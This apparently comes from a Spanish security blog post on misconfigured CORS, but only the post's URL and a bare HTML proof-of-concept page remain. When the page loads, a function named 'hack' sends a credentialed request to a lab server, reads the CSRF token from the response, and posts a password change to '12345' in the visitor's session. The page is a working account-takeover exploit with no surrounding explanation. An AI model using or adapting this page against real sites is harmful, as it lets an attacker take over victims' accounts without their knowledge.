https://arthusu.blogspot.com/2018/08/cors-mal-configurado-intercambio-de.html
<!DOCTYPE html>
<html>
<head>
<script>
function hack()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET","http://192.168.239.141/index.php",false);
xmlhttp.withCredentials = true;
xmlhttp.send(null);
if(xmlhttp.status==200)
{
var str=xmlhttp.responseText;
console.log(str);
var n=str.search("token");
var c=str.substring(n+14,n+46);
params = "token="+c+"&password=12345&password_again=12345";
xmlhttp.open("POST","http://192.168.239.141/index.php",false);
xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.withCredentials = true;
xmlhttp.send(params);
}
}
</script>
</head>
<body onload="hack();">
</body>
</html>
No hay comentarios:
Publicar un comentario